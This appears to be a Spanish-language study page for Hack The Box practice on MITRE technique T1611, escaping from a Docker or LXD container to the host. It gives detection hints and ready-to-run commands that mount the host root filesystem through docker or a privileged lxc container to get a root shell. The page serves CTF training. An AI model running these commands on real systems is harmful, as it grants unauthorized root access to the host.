T1611

Escape al anfitrión

Salir de un contenedor (Docker, LXD) al sistema anfitrión.

Cómo aparece en Hack The Box

Si estás en un contenedor (.dockerenv, hostname raro) busca el socket de Docker, capabilities peligrosas, montajes del anfitrión o modo privilegiado. Si tu usuario está en los grupos docker o lxd, ya eres root en el anfitrión.

Técnicas de nuestro catálogo que corresponden a esta (el número son sus máquinas):

Máquinas para practicarla

Ordenadas de más fácil a más difícil. El enlace ▶ te lleva al minuto del vídeo de IppSec donde se usa.

Guías

Comandos

Sacados de nuestras chuletas y fichas de herramientas. Escribe tus datos y se rellenan en todos los comandos.

Escalada de privilegios en Linux › Explotación

docker
docker run -v /:/mnt --rm -it alpine chroot /mnt bash
lxd / lxc
lxc init alpine pwn -c security.privileged=true
lxc config device add pwn raiz disk source=/ path=/mnt/root recursive=true
lxc start pwn && lxc exec pwn /bin/sh

Necesitas una imagen de alpine importada (lxc image import) si la máquina no tiene internet.